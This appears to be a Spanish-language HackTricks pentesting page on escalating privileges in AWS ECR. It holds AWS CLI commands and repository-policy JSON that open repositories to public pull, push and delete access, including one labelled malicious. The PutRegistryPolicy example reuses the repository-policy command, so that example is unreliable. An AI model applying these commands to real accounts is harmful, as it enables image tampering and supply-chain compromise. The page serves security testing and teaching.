3.3 KiB
AWS - ECR Privesc
{{#include ../../../banners/hacktricks-training.md}}
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un atacante con ecr:GetAuthorizationToken y ecr:BatchGetImage puede iniciar sesión en ECR y descargar imágenes.
Para más información sobre cómo descargar imágenes:
{{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}}
Impacto Potencial: Privesc indirecto al interceptar información sensible en el tráfico.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un atacante con todos esos permisos puede iniciar sesión en ECR y subir imágenes. Esto puede ser útil para escalar privilegios a otros entornos donde se están utilizando esas imágenes.
Para aprender cómo subir una nueva imagen/actualizar una, consulta:
{{#ref}} ../aws-services/aws-eks-enum.md {{#endref}}
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Como la sección anterior, pero para repositorios públicos.
ecr:SetRepositoryPolicy
Un atacante con este permiso podría cambiar la política del repositorio para otorgarse a sí mismo (o incluso a todos) acceso de lectura/escritura.
Por ejemplo, en este ejemplo se otorga acceso de lectura a todos.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenidos de my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Como en la sección anterior, pero para repositorios públicos.
Un atacante puede modificar la política del repositorio de un repositorio ECR Público para otorgar acceso público no autorizado o para escalar sus privilegios.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impacto Potencial: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.
ecr:PutRegistryPolicy
Un atacante con este permiso podría cambiar la política del registro para otorgarse a sí mismo, a su cuenta (o incluso a todos) acceso de lectura/escritura.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
{{#include ../../../banners/hacktricks-training.md}}